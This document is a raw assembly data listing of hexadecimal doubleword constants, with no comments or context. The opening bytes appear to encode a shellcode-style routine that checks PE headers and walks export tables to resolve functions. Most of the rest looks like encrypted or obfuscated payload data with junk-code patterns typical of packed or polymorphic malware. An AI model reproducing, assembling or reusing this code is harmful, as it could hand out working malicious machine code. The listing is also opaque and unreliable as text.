		dd 52515300h, 5C8B5756h, 81661C24h, 0F5A4D3Bh, 6885h, 43B70F00h
		dd 66D8033Ch, 45503B81h, 57850Fh, 5B8B0000h, 245C0378h
		dd 24738B1Ch, 1C247403h, 207B8B56h, 31C738Bh, 320247Ch
		dd 0FC202474h, 41FFC983h, 1C245C8Bh, 5403178Bh,	0C7832024h
		dd 84028A04h, 3A0874C0h, 43E87503h, 3AF2EB42h, 5FE07503h
		dd 0B70FE1D1h, 48B0F04h, 24440386h, 5A5E5F1Ch, 8C25B59h
		dd 0E9C03300h, 0FFFFFFF1h, 14E8CA8Bh, 1C000000h, 99255B1Ch
		dd 9D0B55F8h, 8CAD1167h, 0BC494ECFh, 5BCA84F5h,	81B7C580h
		dd 6BDDC3h, 12E900h, 0C1530000h, 12F07BFDh, 1A67000Bh
		dd 0C4D614A5h, 836DE194h, 0CE9D22Bh, 4B000000h,	6DB7177Ch
		dd 87983809h, 8B14DA36h, 0B9661334h, 0F68184DDh, 0C50DFE9h
		dd 0E7816660h, 61FC86B4h, 0C591EE81h, 8E0F3EB5h, 3, 81C78B66h
		dd 0A3C589F6h, 800F5641h, 0Bh, 6E9h, 0B553C100h, 8F771AC9h
		dd 13E91304h, 47000000h, 7CAA1DB7h, 0CFB24AC4h,	9663C294h
		dd 8E795FE1h, 5E9F02Ah,	23000000h, 0E7EF8767h, 6604EA83h
		dd 3D71F181h, 94DCFA81h, 850FFFFFh, 0FFFFFF8Bh,	148E9h
		dd 5000h, 5400h, 5800h,	5C00h, 6000h, 6400h, 6800h
		dd 6C00h, 0B000h, 0B400h, 0B800h, 0BC00h, 0C000h, 0C400h
		dd 0C800h, 0CC00h, 0D000h, 0D400h, 0D800h, 0DC00h, 0E000h
		dd 0E400h, 0E800h, 0EC00h, 38h dup(0)
		dd 58221100h, 0A150EB00h, 0D8858D00h, 0F06159Ah, 685h
		dd 0C1BD8900h, 89061212h, 159C1885h, 5880F06h, 66000000h
		dd 0A2A2D781h, 25985C6h, 0E9540612h, 13h, 0A3E81696h, 6E1EA98Dh
		dd 6A6A6336h, 7CE3BAABh, 0E9F6BECFh, 9,	0DC61B76Bh, 438974E0h
		dd 4E89Bh, 68290000h, 5250EE62h, 36B7310Fh, 5350585Ah
		dd 0BE9h, 10296600h, 0CDB944CBh, 3728F4F0h, 24448B59h
		dd 6E804h, 5A7F0000h, 0E3E1F264h, 50008B5Bh, 850F52h, 0F000000h
		dd 28B0F31h, 0B3000000h, 89585A29h, 0E9042444h,	8, 3D8287E4h
		dd 0CE6D3AB3h, 0C810F58h, 0F000000h, 689h, 0C9BD2900h
		dd 0FF061224h, 122E69B5h, 1CEE8106h, 8D609F33h,	1581A485h
		dd 0E8D0FF06h, 0Eh, 1B891C8Ah, 5D05AB0Bh, 0E74499D9h, 895FEF5Fh
		dd 159C1C85h, 79953106h, 0E9061213h, 3Dh, 56F7BF0Fh, 9C18B58Bh
		dd 6890615h, 9C188583h,	5E040615h, 0B58D60C3h, 6159AD8h
		dd 6A560FEBh, 0FF36FF00h, 159C1C95h, 0C6835E06h, 3E8304h
		dd 0C361EC75h, 5AF08A53h, 2B201EBAh, 2C858D12h,	8906159Dh
		dd 122405B5h, 1D858906h, 0E906120Ch, 10Fh, 115A01C5h, 8A055C97h
		dd 76A18883h, 7A0E0A1Dh, 33538FDDh, 7D2F6D37h, 2D773D55h
		dd 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh, 577DD773h, 5FEDF73Dh
		dd 335375D5h, 7D2F6D37h, 2D773D55h, 0D77DD57Fh,	171E577Dh
		dd 2075DF6Dh, 20602060h, 60E0E020h, 7B68AC20h, 0A1E4A9F7h
		dd 93B2D020h, 9DB7EDA6h, 0A3F291B9h, 206020ACh,	20602060h
		dd 60E0E020h, 33537520h, 7D2F0D0Ah, 20602055h, 28602060h
		dd 0F0362BA7h, 0F360C950h, 96A1EFB6h, 0A7B4E0F7h, 7192B8E3h
		dd 0B9E9B3F4h, 2060F76Dh, 20602060h, 0F7202060h, 351ADF6Dh
		dd 577DD773h, 5FEDF73Dh, 335375D5h, 7D2F6D37h, 2D773D55h
		dd 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh, 577DD773h, 5FEDF73Dh
		dd 335375D5h, 7D2F6D37h, 0E0A1E35h, 5D340700h, 59A0A3D2h
		dd 1Eh,	9 dup(0)
		dd 0E9000000h, 0C19h, 15A0BF68h, 0E1EAE906h, 0A568FFFCh
		dd 0E90615A1h, 0FFFCE1E0h, 15A27368h, 0E1D6E906h, 4368FFFCh
		dd 0E90615A3h, 0FFFCE1CCh, 15A3A368h, 0E1C2E906h, 7568FFFCh
		dd 0E90615A4h, 0FFFCE1B8h, 15A5A568h, 0E1AEE906h, 9168FFFCh
		dd 0E90615A6h, 0FFFCE1A4h, 15A76B68h, 0E19AE906h, 3C68FFFCh
		dd 0E90615A8h, 0FFFCE190h, 15A90D68h, 0E186E906h, 8480FFFCh
		dd 4BD43BD4h, 1FE74AA7h, 0E9359475h, 0C047AA47h, 7C4EF512h
		dd 7D9A48DFh, 8D6A1212h, 0A23FDF22h, 0F30CB64Fh, 6293F5AAh
		dd 0FC00EF1Ch, 946DBBDEh, 99E4D8F7h, 0D895E385h, 0A1F8F240h
		dd 3A255622h, 0A4C340ECh, 79C8B45Ch, 5FA662C8h,	0E9F55AB7h
		dd 72F19B6Bh, 9CCFA7C9h, 9670CE8h, 227035D0h, 5899EFC2h
		dd 0F600E8C9h, 0CE8B0887h, 0AAD68483h, 772450CFh, 2ED42F3Ah
		dd 3CBD2742h, 9A00E8C9h, 0BE4722A3h, 31EC8F09h,	0B2311184h
		dd 832BFA55h, 9E696DF5h, 853600E8h, 47FEFE6Bh, 6C8A12C0h
		dd 0E99A1BD7h, 0D6808181h, 0A74FD639h, 9B170D9h, 0A95AA5B4h
		dd 0B7C2B742h, 5ED752ADh, 5931762Eh, 51AE58A9h,	0E5FF5656h
		dd 4E83BD6h, 0BFDE0000h, 3B038921h, 0E162D0C5h,	0A9D77F86h
		dd 0D839E120h, 0B4096B73h, 27D63A77h, 8106FA59h, 0A953D3BAh
		dd 0B3259EDBh, 0CE85F77h, 10600C6Fh, 0E868E5h, 3286EC95h
		dd 0D6E56DB2h, 40DFh, 0D63A000h, 0E860CCh, 0FF92136Ah
		dd 50ED4F6Fh, 0E8A5A438h, 0FD8BF20Ch, 0EEEF01BEh, 7A00E8AFh
		dd 0F67301ADh, 0CB5DD6A5h, 0E8AF0Eh, 961C97Eh, 0D6E5A69Fh
		dd 3BE3222Dh, 0DBB3304Dh, 0CAh,	0EA946D7Eh, 57F80F9Eh
		dd 0C2F7673Dh, 84F06F0Bh, 0E952FC05h, 4735BD8Fh, 0B52E2D81h
		dd 17BF46C7h, 0DDA6EFAh, 17EE06FAh, 0C243CE6Fh,	0EF429B18h
		dd 8B006C16h, 46CD133h,	0CE8F864h, 542FB42h, 0E829F2E3h
		dd 9544AC00h, 3300E829h, 0AB281348h, 7FE1FD52h,	88B5AA3Eh
		dd 9C9F0AF5h, 0AF77E21Fh, 22E18005h, 0CB58C774h, 0D90ECF21h
		dd 0D5A80ADDh, 0D64F2A56h, 0A14DDA35h, 0B693D276h, 0D9E76364h
		dd 915h, 49A656D2h, 98791DE6h, 0AA47F131h, 0F819BB47h
		dd 0BE49291h, 1AE94E70h, 0E43C936Ch, 0B14CA33Ch, 8899F011h
		dd 0A39801DEh, 0EF228C4Dh, 0D50C2A00h, 0FE8966Dh, 4B961A0h
		dd 365A0A15h, 6FA82C7h,	269F1A61h, 4F6F62C5h, 0A43850EDh
		dd 0F20CE8A5h, 0DF27328Bh, 0A4CCB035h, 0E8AF31h, 5E321841h
		dd 0D6E5A66Eh, 0C703h, 946DA600h, 0F80F9EEAh, 82DD1C74h
		dd 7B06FAh, 0DB6FF785h,	0E906FA7Fh, 0DB838218h,	0B455D0ADh
		dd 0B7264A87h, 1106FA86h, 47DEA92Ah, 647AD19Fh,	1555BB00h
		dd 0F10CE88Ah, 0BB9D5CB4h, 0AC3B00E8h, 0B72CAB57h, 197693EAh
		dd 4FDA63C5h, 27F0DB7h,	0D0DC3481h, 0E60AF51Fh,	87E92697h
		dd 0ADC6456h, 0AB088DF0h, 7B21E36Eh, 94F3700Dh,	0AB06E38Fh
		dd 3767AE5Ch, 9864B61Fh, 82FC2ECh, 3CC80000h, 31C738Ch
		dd 0D72F825Fh, 0A17DCC2Dh, 788FE2FFh, 34162DCAh, 0B5520007h
		dd 0C522CA5Ah, 1AF7976Ah, 2BC46EB7h, 0AA2BBDF2h, 400EF23h
		dd 966DF366h, 0E7720FE8h, 0E08A9B1Dh, 0DE471765h, 58D196A6h
		dd 0E584017Ch, 3295721Ch, 9EEA946Dh, 0B34CF60Fh, 0FC14518Eh
		dd 6FA82FDh, 8170E05Bh,	0DF06FA82h, 0D49FE75Ch,	229BFDC1h
		dd 5A97AE5h, 74F19D6Ah,	0E880A0ECh, 0F647360Ch,	0B18966Bh
		dd 0D954115Fh, 7A55035Ch, 0ECB3A04Dh, 337F82D2h, 0A0CC4BF1h
		dd 4533D529h, 8D2EAD28h, 32D2677Bh, 0A0CCAF08h,	8C31932Bh
		dd 67DC829Dh, 0A527B6DAh, 3A010604h, 0E78F9681h, 8A5EA70Ah
		dd 0F8A47766h, 0EF6AD117h, 915F8C24h, 97A1AD69h, 761h
		dd 0BD5A0A1Eh, 0CC2DD152h, 1EFBA57Dh, 2CCD6FB3h, 7F9846DDh
		dd 0CE5502C4h, 9868C720h, 65B817F0h, 3CC524C5h,	6F2C7592h
		dd 0EF20D819h, 1587600h, 51EA946Dh, 82FDFC14h, 0C5B06FAh
		dd 54D14CF4h, 0B91BA328h, 6CE0EC04h, 0EB760CE8h, 0DF839C1Ah
		dd 0DA591460h, 0AA0ED03Dh, 59FD0611h, 68D54E2Bh, 0F5E2ED00h
		dd 0EB502B0Ah, 0ADC3A57Ch, 0ADD362Ch, 0DB34B38Ah, 0FE3BAD74h
		dd 0DD366B6Ah, 0EE76C50Ah, 0ADD36EFh, 5C081E49h, 0BFD962E1h
		dd 568C48E4h, 0FC8005ACh, 0FD014F6Fh, 48C76DB7h, 79C2413Ch
		dd 0C044FD17h, 7DDB3500h, 0CC323700h, 423966DFh, 0EF976EF9h
		dd 0BC66BF12h, 21835BB0h, 0D47C749Ch, 63DA1ED5h, 0DE97F6B0h
		dd 7D4B0770h, 691h, 0CD2ADA2Eh,	1CFDA162h, 2ECB758Dh, 7C9D3FC3h
		dd 8F6816EDh, 9E65D2F4h, 68B817F0h, 35C827C0h, 0C157495h
		dd 1F1C8562h, 0EF2108C9h, 5188A600h, 50ED4F6Fh,	0E7F58A38h
		dd 2499E40Ch, 0A542EC35h, 6513BB4Ah, 0C774D8E6h, 0A51ECA58h
		dd 0F10CF018h, 0F34A0AFDh, 0B6ED5C20h, 0E7B1BD64h, 631h
		dd 6D8A3ACEh, 0BC5D0102h, 0CE2BD52Dh, 1CFD9F63h, 2FC8768Dh
		dd 0FE053214h, 0C858B750h, 9568C720h, 6CB514F5h, 0BFFC25C2h
		dd 0EF21A829h, 0F1680600h, 50ED4F6Fh, 0F9F2F513h, 0FF7A1292h
		dd 0FA436869h, 0F877C606h, 35D8157Bh, 3F3E0CE7h, 0E89293FEh
		dd 0B961A00Fh, 247E40CBh, 0ECDD0DCCh, 55D0AB00h, 0A679E8h
		dd 3F7CF974h, 0E48E9782h, 0AAE3F96Fh, 502B0AF1h, 63A3AEEBh
		dd 35AECBB9h, 9A23CB5Ah, 7ECA0B5Dh, 6C840AD1h, 0AD17E6Dh
		dd 502B70CBh, 4ED73AD3h, 45A3D8A4h, 0F0E81F58h,	52B192C5h
		dd 0B1E5FC5Ch, 68761390h, 0EF7AB704h, 67026E14h, 3E827AEEh
		dd 6CCC00C3h, 8E56CCACh, 0B92A2000h, 0EFBF57C9h, 7026F16Ch
		dd 816ACCF1h, 55FFBC5h,	0C180000h, 0D32C835Ch, 0A77FD22Fh
		dd 718D1CFDh, 48DF32CFh, 4C67D9Ah, 0C522D057h, 15F29A6Ah
		dd 2AC767BAh, 7B943EC7h, 0DA1B6D22h, 7400EF26h,	946D0356h
		dd 0F60F9EEAh, 805EB34Ch, 25629F1Ch, 0FA8212C3h, 54D1AC06h
		dd 0E88438CCh, 313F3E0Ch, 0E88DB421h, 38E02000h, 9A44DD4Ch
		dd 0B298D1EEh, 7A96179Ah, 0A52284A0h, 92D35062h, 728F9AB8h
		dd 4CC9A4D0h, 0E56C1B95h, 2C74D6h, 6F1D0000h, 3850ED4Fh
		dd 0CE8A5A4h, 95FD8BF2h, 0E8AF60h, 0F9872BF4h, 9FED8D90h
		dd 0E4F852D5h, 7E523861h, 0D6E5A68Eh, 0C2E3h, 946D8600h
		dd 83DD9EEAh, 0E96FD5C5h, 721D967Dh, 0D82837B5h, 8131A030h
		dd 0AC8F06FAh, 3BCA4331h, 0E53F2A93h, 57B6C63Fh, 5A9724CEh
		dd 0FA81C736h, 991A6106h, 7C541040h, 56B206FAh,	67A88316h
		dd 15C42CA8h, 0B306FA2Fh, 0E2224DC8h, 0B2334E3Ah, 4BA44ED7h
		dd 7751DE4h, 65D63A84h,	0E83DD303h, 0F7106B0Ch,	0B5FD449Ah
		dd 98A27FE2h, 157BC03Fh, 0AF5F3B1h, 6AF54635h, 0B910F19Dh
		dd 3315BC6Ah, 4464B6CAh, 42F3E08h, 3CC80000h, 31C738Ch
		dd 0D72F825Fh, 0A17DCC2Dh, 788FE2FFh, 34162DCAh, 0B5520007h
		dd 0C522CA5Ah, 1AF7976Ah, 2BC46EB7h, 0AA2BBDF2h, 400EF27h
		dd 966DF366h, 61A00FE8h, 0BFF958B9h, 2CA951D0h,	0A01D7F5Fh
		dd 0E8A59448h, 0CDBB820Ch, 0C439728Eh, 0F3BF46C9h, 10EB7069h
		dd 0A82D8E7Eh, 0E81BB520h, 868C500h, 90187256h,	0FDB62F50h
		dd 0D2B33D95h, 0D0DCD6E5h, 45000000h, 0A753D0BFh, 35CD9CD9h
		dd 380FD8Bh, 87F59D64h,	0F1ACB4D4h, 5D74AE46h, 0CC7A89D8h
		dd 0C094D0A0h, 61A006FAh, 41706187h, 51CE06FAh,	0FA41BE3Fh
		dd 0A6251806h, 0A263CE2Bh, 0BF1F8CF8h, 4888E05Dh, 0E60CE853h
		dd 0C9157A97h, 0A7D5778Bh, 63EE4FCAh, 0C07DF6A4h, 0F5D39FA8h
		dd 19A2990Ah
		dd 0DB34DDCh, 0E681027Fh, 35947521h, 0D9140EEh,	0CE64B6DBh
		dd 343B482h, 28FC0000h,	0EF309F78h, 0C343AE4Bh,	8D91F819h
		dd 64A30EEBh, 202259B6h, 0A13EEC3Bh, 0F10EB64Eh, 6E3839Eh
		dd 57B05AABh, 0BE3F51CEh, 1800EF24h, 966DE77Ah,	16720FE8h
		dd 0FA7962C9h, 432EA798h, 852DF4C2h, 0BEFF7AF7h, 0B927B22h
		dd 49CA5F1Dh, 896D8BB0h, 9B553B55h, 6D1E71F2h, 0C651EA94h
		dd 9746AA40h, 3106FA82h, 0C4A1CF4Ah, 55AC3D4Fh,	27EA4CADh
		dd 12A879E8h, 621F6D11h, 67DC99E7h, 0EB50B40Ah,	0E8801985h
		dd 5DDE5D0Ch, 9B20E903h, 0F7442597h, 0E86E6091h, 67FFE00h
		dd 0A05EF365h, 0F6C86D15h, 3C72992h, 0A3A6A0EEh, 9F3FACD8h
		dd 0D443803Dh, 0B820A54Dh, 0BCB29959h, 87769AD7h, 21B08A98h
		dd 0C1BCD95Ah, 6A14ED7Ch, 3BE3228Dh, 0FF52FCE8h, 8791DD0Eh
		dd 269h, 0B5520206h, 0C425C95Ah, 16F39D65h, 24C567BBh
		dd 77903EC5h, 0C65DFACCh, 9090FF18h, 5DA00FE8h,	34CD5CBDh
		dd 77346D8Ah, 0EF25E011h, 39A07E00h, 81F7946Dh,	98FE33CDh
		dd 7C08AA77h, 79078201h, 0D368CC12h, 0FA6869B5h, 241B8529h
		dd 0F744C1D4h, 0AF55AFBAh, 3C96A236h, 8DF00CE8h, 7E92CF6Ch
		dd 0E8457Fh, 0CF778ED9h, 0D4A3D350h, 41E53E29h,	0B517A7C4h
		dd 0D9ADCB08h, 633A6B32h, 0D47C84E7h, 0A845C95Fh, 2A110AFAh
		dd 4F721B4Dh, 724C7F48h, 0BFABF513h, 19943BE7h,	820967A4h
		dd 3ADC02EBh, 7A96FA7Bh, 5CC45A61h, 0A63893E1h,	697F942h
		dd 60C22CF5h, 9D642EF1h, 6FEA87F5h, 45DC4BF0h, 14ED7C9Dh
		dd 0AF43BB6Ah, 78F42D69h, 198AEh, 25D35100h, 0F49A65C4h
		dd 0C26EB41Bh, 9438CA25h, 630F147Bh, 6CCBFF86h,	0A30EEB97h
		dd 0F35EBB61h, 1C738C2Eh, 1BBC5D05h, 2A13C226h,	91AD00EFh
		dd 0F7946D48h, 27B86208h, 7C56CFAEh, 7205C71Eh,	0E48C94F7h
		dd 0DD5EDD98h, 0C472B1A0h, 0AA2BBDB8h, 406FA0Eh, 5BB0BC39h
		dd 749C2183h, 0CE80CACh, 0CC36D3AAh, 61C31BF8h,	88499FDCh
		dd 2600E80Ch, 0CD21354Ah, 65E06533h, 0F13D53E0h, 250AFA30h
		dd 305180E8h, 8CEF0ADEh, 42CD4A17h, 0E6B19C5h, 0DE305786h
		dd 0F8AF10Ah, 54D7E672h, 0BD0163ECh, 528EE25Bh,	44C9FF3Ah
		dd 0BE008BF9h, 44A4E15Ah, 616A80C8h, 1187FC59h,	0C7C1DF80h
		dd 331E9F9Eh, 40AF48F2h, 0C6CE19C1h, 9729CE98h,	0C7CDDBh
		dd 0A4600000h, 6BB41BF4h, 3FC72AC7h, 9157495h, 0E0278A67h
		dd 9CAED532h, 5DBA68BFh, 6D8A32F2h, 825FFF02h, 0D32CD62Fh
		dd 42B3D54Ah, 9C00EF2Bh, 946D9BFEh, 3CC651EAh, 0FA511B98h
		dd 0FE3B80E4h, 80EC8E93h, 70F860E5h, 0FE0CE8A1h, 36A23E7Fh
		dd 0E9E1C889h, 28A93F7Ch, 8600E8F2h, 70DD3EB7h,	5FB10A6Eh
		dd 0AF58581h, 9DDEAA91h, 0BFCD71B2h, 0DF2641C2h, 0AE77DA37h
		dd 54C37804h, 1D5824CCh, 2AC93098h, 0E40D1006h,	0EB93928Eh
		dd 5462A30Eh, 1D5824CCh, 0F0321D9Eh, 3ADF1E72h,	279258Dh
		dd 761AE487h, 86F66F0Ah, 2B59FB07h, 616FDB0Ch, 0F78531F6h
		dd 976EF97Ah, 0DE5DFF03h, 0AF57AE01h, 3F7C1h, 98920000h
		dd 0E9976DF9h, 4BF3329Bh, 0B151AC3Dh, 12BA4AC3h, 7220E766h
		dd 0D2808706h, 39DB27A6h, 9844C24Bh, 0FCA27DECh, 89572D70h
		dd 4C781E7h, 83000000h,	3C3304EFh, 243C3124h, 5C243C33h
		dd 71E468h, 240C8900h, 5E08950h, 4, 42Dh, 24048700h, 2404895Ch
		dd 1511BD55h, 0EDC16194h, 87CD8108h, 812DEE22h,	0EF74B6E5h
		dd 0BF574D77h, 34177D7Bh, 815FFD31h, 0E2AB01EDh, 5DE9890Bh
		dd 3FAB68h, 24248900h, 4240483h, 44986858h, 0C890000h
		dd 8408F24h, 5624048Bh,	0C681E689h, 4, 8704C683h, 0FF5C2434h
		dd 81592434h, 4C4h, 0D5E6E900h,	4119FFFCh, 0AE9F31BAh
		dd 0A3DE013Ch, 0A9F9B86Bh, 0C5030615h, 0D076E0FFh, 0C11A44C6h
		dd 0C98E5DAAh, 664533FAh, 0C22A7539h, 126570B9h, 135B077Bh
		dd 660C4351h, 4E934FA2h, 5D4F402Dh, 57913828h, 3B773E24h
		dd 714F25E2h, 13D549A5h, 4FEB159Bh, 0FA251C8Fh,	0C6A108ABh
		dd 1CA4ACDAh, 5C5CD2D4h, 34CE00E4h, 0CE1BF531h,	0D129B327h
		dd 0C7DD5B34h, 0CE17E62Ah, 6734DF1Bh, 1B00A6DBh, 1A00476Ah
		dd 0D5A3EAh, 9C000000h,	0FECA19h, 0FBFE4A00h, 87000000h
		dd 2352DDB4h, 9C9ED920h, 0E977E733h, 1220h, 34358589h
		dd 0BD830612h, 6121FE9h, 18850F00h, 66000000h, 0B8B93DBAh
		dd 0
		dd 2EA19589h, 4C20612h,	49BD8900h, 8B061231h, 7D9529C0h
		dd 83061224h, 120E71BDh, 9750006h, 2D69BD83h, 74000612h
		dd 8B535013h, 4D0B8C0h,	9D8D0000h, 614ADBEh, 585BD3FFh
		dd 2D69BD83h, 74000612h, 0B8535011h, 4D0h, 0AD0B9D8Dh
		dd 0D3FF0614h, 6A585Bh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 0B02946C3h, 4525CFC9h, 0BF662E7Fh
		dd 89B1F999h, 0BD8BC08Bh, 6120AE1h, 8D9D8950h, 5F06122Eh
		dd 0AB1E858Dh, 6A0615h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 6E82DEC3h, 81666BB2h, 0F50E0E1h
		dd 689h, 0C1958B00h, 90061205h,	0FE850h, 0F2820000h, 63B8281Fh
		dd 0F7E443C4h, 0C58D67F9h, 6A905F19h, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0E525C355h
		dd 0BD5A1EBDh, 0BF6620ADh, 0D6BFA187h, 8D753BCEh, 15AADB85h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 0FB8B66F3h, 0A2D3B966h, 108F0F50h, 56000000h
		dd 8E8h, 67209F00h, 0E45AFFFAh,	895A59ACh, 6A2404h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 0D4666C3h, 0D4B99D7Dh, 89FB8B7Fh, 122D5D85h,	0D95FF06h
		dd 6A06120Ch, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 0D612C355h, 0BF0FF8FAh, 24448BF8h
		dd 8589FC04h, 615AB06h,	12ED9D29h, 448B0612h, 6A0824h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 0DEC991C3h, 0C9F2817Bh, 8964B116h, 15AB1A85h, 8E906h
		dd 431F0000h, 0F38B24D1h, 0BD835F21h, 6123471h,	9C850F00h
		dd 8B000000h, 122C998Dh, 5985C606h, 47061202h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 96C35646h, 67C918BCh
		dd 958BEB9Dh, 6121531h,	68CABF0Fh, 7B7A2A7Ch, 5E9h, 0EA601B00h
		dd 48135B8h, 207D5624h,	18D8B59h, 0FF061233h, 122E69B5h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 0A4C5A6C5h, 0F3152EEh, 0BD8BFBBFh, 61211F5h
		dd 81A4858Dh, 95010615h, 6121721h, 8B66D0FFh, 718589D7h
		dd 83061234h, 121C61BDh, 850F0006h, 103h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Dh, 0CC35040h, 952ED7E7h
		dd 5BCE7009h, 8166605Fh, 0F2A20D2h, 488h, 0E1BB6600h, 85C661C9h
		dd 6120259h, 0E5950147h, 6806120Fh, 6A2C79CEh, 58525060h
		dd 11E95Bh, 0F0DE0000h,	0B3E37Fh, 0BD07737Fh, 0A9BFC778h
		dd 61914758h, 14240481h, 0FF1FE33Ch, 122E69B5h,	0C98D8B06h
		dd 8D061204h, 1581A485h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 47CFFB84h, 0B21995FEh
		dd 6AD0FFC4h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 3070C350h, 8E9E2BA4h, 108E0Fh
		dd 0BE90000h, 0D0000000h, 0E2DB1458h, 716CF4E4h, 12E8B901h
		dd 2A000000h, 8A47AB3Dh, 0F99356CAh, 84235FCBh,	7B83D1E8h
		dd 0F18D89CEh, 5F061220h, 1C618589h, 0FB8B0612h, 83F9BF0Fh
		dd 120391BDh, 850F0006h, 81h, 7BD9589h,	85C60612h, 6120259h
		dd 53006A56h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 2C38FDECh, 0B99745CDh, 38104740h, 0B1D7DD68h
		dd 0F98B5068h, 24048159h, 6B6D955Ch, 30298D89h,	0B5FF0612h
		dd 6122E69h, 6810Fh, 8D230000h,	6122AFDh, 81A4858Dh, 6E90615h
		dd 0B2000000h, 1F6A8644h, 89D0FF10h, 1213BDBDh,	91858906h
		dd 31061203h, 12030595h, 5985C606h, 6C061202h, 1BD99589h
		dd 4E80612h, 83000000h,	51DB0570h, 860F5250h, 0
		dd 0FBF310Fh, 5A54AF5Fh, 66505958h, 8B645ABAh, 51042444h
		dd 14E8h, 595F0100h, 4D80C8B9h,	0B57EC520h, 2E805396h
		dd 49ACF3A8h, 0F525092h, 59585A31h, 0F008B5Fh, 284h, 89EC8A00h
		dd 0BA042444h, 63B89418h, 55006A58h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 7AF27F79h
		dd 8997FFEDh, 1234A985h, 19B5FF06h, 6006122Eh, 8BCFBF0Fh
		dd 12210995h, 858D6106h, 6123B56h, 0B509D0FFh, 6120F55h
		dd 0AB0A8589h, 0E8600615h, 12h,	0EC4410FCh, 0E5BD6273h
		dd 35181885h, 567D1CBEh, 950BDB6Ch, 612353Dh, 0B185335Ah
		dd 6106120Fh, 0AB26BD83h, 0F000615h, 0B685h, 0A1858900h
		dd 0C606122Eh, 12025985h, 6A4906h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 683F9BC3h, 7CAA2EC9h
		dd 20240481h, 800F6AFBh, 0DA81EAE5h, 13B1FEE1h,	2E19B5FFh
		dd 958B0612h, 6122BFDh,	3B56858Dh, 6A0612h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 181FE2C3h
		dd 0D0FFF9D2h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	0D4C35040h, 0AB268589h,	6A0615h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 816620C3h
		dd 6AF1D3EFh, 7E904h, 5D660000h, 9F3790FCh, 4E854h, 10000000h
		dd 0E9600000h, 5, 0B2545810h, 0E9525069h, 8, 0AA59DEF7h
		dd 39BC6D50h, 6160310Fh, 5061585Ah, 424448Bh, 8BD78Bh
		dd 3D73BF66h, 4244489h,	50535250h, 5A310F52h, 310F5958h
		dd 2CA1B966h, 8958585Ah, 1226E99Dh, 0FD986806h,	0F98B33BAh
		dd 98243481h, 8933BBFDh, 1233A5BDh, 6A006A06h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 569AC351h, 2AB98529h, 95FF0612h, 61213D1h, 0AB168589h
		dd 6A0615h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 7F03F4C3h, 66396C1Ch, 0C7AD6BBFh,	15AB0E85h
		dd 6, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 62DFA61Fh, 6A006AF1h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 489DC351h
		dd 34ECD775h, 0B97D8E02h, 4D9CF170h, 17418D8Bh,	4E80612h
		dd 0
		dd 0B9000100h, 0AE47283h, 0B9B86050h, 500C6F5Eh, 0F616052h
		dd 0F38B6631h, 8B61585Ah, 0E9042444h, 0Bh, 0CB54EFBEh
		dd 9802A6A8h, 8B450A91h, 66525000h, 310FCA8Bh, 5AFB8B66h
		dd 24448958h, 0FE804h, 0F7850000h, 74B40530h, 699149EDh
		dd 2E687471h, 0F9B96600h, 66585AEEh, 90A7C7BAh,	665076B2h
		dd 8990F98Bh, 12194DBDh, 660B6A06h, 8DBD5BBAh, 15AAE385h
		dd 5870F06h, 0BA000000h, 0FF2ACDAh, 90FB8B66h, 50CA8B66h
		dd 52BF6660h, 61F38AF6h, 50006A90h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 2E6C1BCCh, 21CA87DCh
		dd 0CEE98010h, 347195FFh, 13E90612h, 63000000h,	448C5452h
		dd 0C2A3E728h, 1502E528h, 0AE0E5344h, 0B58D72FDh, 615AAEDh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0B3C35040h
		dd 81F60676h, 0FC7C02E2h, 10E981h, 0A3290000h, 0AF7C439Ch
		dd 5EB6E2EDh, 0B9E0B7B4h, 6696DC31h, 9650FE8Bh,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0ACC35343h, 0D8293EF9h
		dd 0AE9993F6h, 8F0F9016h, 1Bh, 13E8h, 9BC32200h, 4E8A339Bh
		dd 83733B9Eh, 3DAD88DDh, 48FCF5C4h, 505FF98Bh, 1E1FB966h
		dd 95FFF990h, 6121C61h,	0CB8B6660h, 27499D8Bh, 0B610612h
		dd 11850FC0h, 8B000000h, 1233C18Dh, 6ECE906h, 0E2810000h
		dd 1D61A5CFh, 0BD8BD0FFh, 6121B09h, 0AB16B58Bh,	6A0615h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0AC8886C3h, 52735C8Ch, 0F520468Dh, 6A046Ah, 3E856h
